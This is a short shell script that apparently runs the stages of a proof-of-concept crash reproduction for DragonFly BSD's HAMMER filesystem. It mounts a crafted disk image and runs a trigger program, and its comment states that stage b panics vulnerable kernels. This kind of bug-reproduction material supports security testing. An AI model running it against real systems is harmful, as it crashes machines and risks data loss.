#!/bin/sh
# DF-3003 stage runner (guest side, as root). Image h1p2.img is the crafted
# image produced by craft_image.py (pushed to /root/h1p2.img); trig built
# from trig.c with: cc -o /root/trig /root/trig.c
set -e
STAGE=$1

case $STAGE in
a)
	vnconfig -c vn0 /root/h1p2.img
	mount_hammer -o atime /dev/vn0 /mnt
	/root/trig a /mnt/f
	sync; sleep 3
	umount /mnt
	vnconfig -u vn0
	echo STAGE_A_COMPLETE
	;;
b)
	vnconfig -c vn0 /root/h1p2.img
	mount_hammer -o atime /dev/vn0 /mnt
	/root/trig b /mnt/f
	sync
	sleep 5
	# NOT REACHED on vulnerable kernels: panic in hammer_modify_buffer
	echo SURVIVED_FLUSH
	umount /mnt
	vnconfig -u vn0
	;;
esac
